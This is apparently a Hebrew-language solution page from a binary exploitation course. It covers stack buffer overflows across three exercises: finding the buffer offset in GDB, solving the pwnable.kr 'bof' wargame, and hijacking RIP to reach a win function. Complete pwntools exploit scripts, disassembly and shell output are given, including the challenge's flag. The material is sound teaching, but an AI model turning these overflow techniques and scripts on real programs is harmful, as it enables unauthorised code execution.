2.1 אנטומיה של גלישה ושליטה בRIP פתרון
פתרון - אנטומיה של overflow ושליטה ב-RIP¶
כאן נפתור את שלושת התרגילים עד הסוף, עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. אם עוד לא ניסיתם לבד, חזרו לקובץ התרגול ותנסו קודם. הפתרון הכי מלמד הוא זה שהזעתם עליו.
פתרון תרגיל 1 - לקרוא את המסגרת ב-GDB¶
נתחיל מבדיקת ההגנות של הדמו:
זה בדיוק מה שציפינו: -fno-stack-protector הביא ל-No canary, -no-pie הביא ל-No PIE, וה-NX דלוק כברירת מחדל. אין canary שיתפוס אותנו כשנדרוס את הreturn address, ואין PIE, אז הכתובת של win קבועה.
מוצאים את הכתובת של win בשתי דרכים:
שתי הדרכים מסכימות על 0x401156. מכיוון שהבינארי הוא No PIE, הכתובת הזו לא תשתנה בין הרצות, וזו הסיבה שאפשר להשתמש בה ישירות ב-exploit.
עכשיו נפרק את vuln ב-GDB כדי למצוא איפה יושב הbuffer:
pwndbg> disassemble vuln
0x0000000000401168 <+0>: push rbp
0x0000000000401169 <+1>: mov rbp,rsp
0x000000000040116c <+4>: sub rsp,0x40
0x0000000000401170 <+8>: lea rax,[rip+0xe9d] # "send: "
...
0x0000000000401186 <+30>: lea rax,[rbp-0x40]
0x000000000040118a <+34>: mov edx,0x100
0x000000000040118f <+39>: mov rsi,rax
0x0000000000401192 <+42>: mov edi,0x0
0x0000000000401197 <+47>: call 0x401060 <read@plt>
...
ההוראה lea rax, [rbp-0x40] ממש לפני call read מגלה לנו שהbuffer buf יושב בכתובת rbp-0x40. מכאן החישוב:
buf at rbp - 0x40 -> 64 bytes to the saved rbp
saved rbp at rbp -> another 8 bytes
return address at rbp + 8
offset from buf to the return address = 0x40 + 8 = 64 + 8 = 72 bytes
אימות ידני, אם רוצים לוודא ולא לנחש:
pwndbg> break *vuln+47
pwndbg> run
pwndbg> p/x $rbp - ($rsp) # measure where rsp is relative to rbp after sub rsp,0x40
$1 = 0x40
pwndbg> p/x $rbp + 8 # return address
מרחק של 0x40 בין rsp (תחילת הbuffer) ל-rbp, ועוד 8 עד הreturn address, שוב 72.
למה זה עבד: קראנו את המסגרת ישירות מהקוד במקום לנחש. lea rax, [rbp-0x40] הוא הכתובת שנשלחת ל-read בתור היעד, כלומר תחילת הbuffer. איך להכליל: בכל בינארי, ההוראה שמכינה את המצביע לפונקציית הקריאה (read/gets/fgets) מגלה לכם איפה הbuffer. משם, המרחק לreturn address הוא גודל המרחב שמעל הbuffer ועד rbp, ועוד 8.
פתרון תרגיל 2 - לפתור את bof¶
נפרק את func בבינארי של האתגר:
$ objdump -d bof | grep -A30 '<func>:'
...
lea eax,[ebp-0x2c]
mov DWORD PTR [esp],eax
call 8048420 <gets>
mov eax,0xcafebabe
cmp DWORD PTR [ebp+0x8],eax
jne ...
... system("/bin/sh") ...
שני המספרים שחיפשנו נמצאים כאן:
- הbuffer
overflowmeיושב ב-ebp-0x2c. - הארגומנט
keyנבדק ב-[ebp+0x8].
מדוע key בכלל ניתן לדריסה? כי זו מערכת 32 ביט עם מוסכמת cdecl, וב-cdecl הארגומנטים עוברים על המחסנית. main דחף את 0xdeadbeef על המחסנית לפני ה-call func, אז key יושב במסגרת של func בכתובת ebp+0x8, מעל הreturn address. הbuffer יושב מתחת, ב-ebp-0x2c. gets תכתוב לנו כמה בתים שנרצה כלפי מעלה, ישר לעבר key.
חישוב ה-offset:
אז ה-payload הוא 52 בתים של padding, ואז p32(0xcafebabe) שדורס בדיוק את key. ה-exploit המלא:
#!/usr/bin/env python3
from pwn import *
context.arch = 'i386' # bof is a 32-bit binary
r = remote('pwnable.kr', 9000)
payload = b'A' * 52 # padding from the buffer to key
payload += p32(0xcafebabe) # overwrite key with the value the check expects
r.sendline(payload)
r.interactive()
הרצה:
$ python3 bof.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ cat flag
daddy, I just pwned a buFF3r :)
$ id
uid=1010(bof) gid=1010(bof) ...
הסכימה שנוצרה על המחסנית של func:
high addresses
+------------------------------+
| p32(0xcafebabe) | <-- we overwrote key. the check will pass
+------------------------------+
| return address of func | (untouched, not needed)
+------------------------------+
| saved ebp + padding |
+------------------------------+
| 'AAAA...' (overflowme + padding to key, 52 bytes total) |
+------------------------------+
low addresses
למה זה עבד: לא נגענו בreturn address בכלל. דרסנו משתנה בודד (הארגומנט key) שהלוגיקה של התוכנית סומכת עליו, וכך שיברנו את הבדיקה. system("/bin/sh") רץ בתוך func, לפני שהיא בכלל חוזרת. איך להכליל: לפני שרצים לדרוס return address, שאלו את עצמכם אם יש משתנה קרוב יותר לbuffer ששליטה בו מספיקה. דריסה של דגל, מונה, מצביע פונקציה או ארגומנט היא לרוב פשוטה ויציבה יותר מהשתלטות מלאה על RIP.
פתרון תרגיל 3 - שליטה מלאה ב-RIP¶
עכשיו נדרוס את הreturn address ונקפוץ ל-win. מתרגיל 1 כבר יש לנו את שני הנתונים: ה-offset הוא 72, והכתובת של win היא 0x401156 (או elf.symbols['win']).
הניסיון הראשון, הישיר:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./demo')
p = process('./demo')
offset = 72
payload = b'A' * offset
payload += p64(elf.symbols['win'])
p.sendline(payload)
p.interactive()
לפעמים זה עובד מיד ומקבלים shell. אבל על רוב מכונות ה-glibc המודרניות תראו את זה:
[+] Starting local process './demo': pid 12931
[*] Switching to interactive mode
[+] you took control!
[*] Got EOF while reading in interactive
שימו לב: ההודעה [+] you took control! כן הודפסה. זו הוכחה חד משמעית שהשליטה ב-RIP הצליחה, קפצנו לתוך win. אבל ה-shell מת מיד. הסיבה היא מלכודת alignment המחסנית: system מריצה movaps שדורשת ש-rsp יהיה מיושר ל-16 בתים, ואחרי הקפיצה שלנו הוא מיושר ל-8 בלבד.
התיקון, כפי שרמזנו: גאדג'ט ret בודד לפני win, שמזיז את המחסנית ב-8 בתים ומיישר אותה:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./demo')
p = process('./demo')
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0] # address of a single ret instruction
offset = 72
payload = b'A' * offset
payload += p64(ret) # aligns the stack to 16 bytes
payload += p64(elf.symbols['win']) # then jumps to win
p.sendline(payload)
p.interactive()
הרצה:
$ python3 rip.py
[*] '.../demo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[+] Starting local process './demo': pid 13044
[*] Loaded 14 cached gadgets for './demo'
[*] Switching to interactive mode
[+] you took control!
$ id
uid=1000(user) gid=1000(user) ...
$ cat /etc/hostname
הפעם ה-shell נשאר. הסכימה על המחסנית של vuln ברגע ה-ret:
high addresses
+------------------------------+
| p64(&win) = 0x401156 | <-- the gadget's ret jumps here
+------------------------------+
| p64(&ret gadget) | <-- the return address we overwrote. the first ret jumps here
+------------------------------+
| 'AAAAAAAA' | <-- saved rbp (overwritten)
+------------------------------+
| 'AAAA...' (64 bytes) | <-- buf
+------------------------------+
low addresses
הזרימה: vuln מבצעת ret וקופצת לגאדג'ט ה-ret. הגאדג'ט הזה שולף את הכתובת הבאה (&win) לתוך rip וקופץ אליה, אבל תוך כדי הוא הזיז את rsp ב-8 בתים נוספים, וכך המחסנית מיושרת ל-16 כש-win קוראת ל-system.
למה זה עבד: דרסנו את הreturn address בכתובת חוקית, וה-ret הפכה את הדריסה הזו לקפיצה. ההודעה שהודפסה הוכיחה שהשליטה ב-RIP הצליחה עוד לפני שטיפלנו בalignment. איך להכליל: מלכודת ה-movaps תופיע כמעט בכל פעם שתקפצו לקוד שקורא ל-system או ל-printf עם מחסנית לא מיושרת. הפתרון תמיד זהה: הוסיפו או הורידו גאדג'ט ret בודד כדי לתקן את הalignment ב-8 בתים. את הרעיון הזה, של קפיצה מכוונת לפונקציה קיימת, נרחיב לשיטה מלאה בשיעור 2.3 (ret2win), ואת מציאת ה-offset בלי לנחש נלמד בשיעור 2.2 עם cyclic.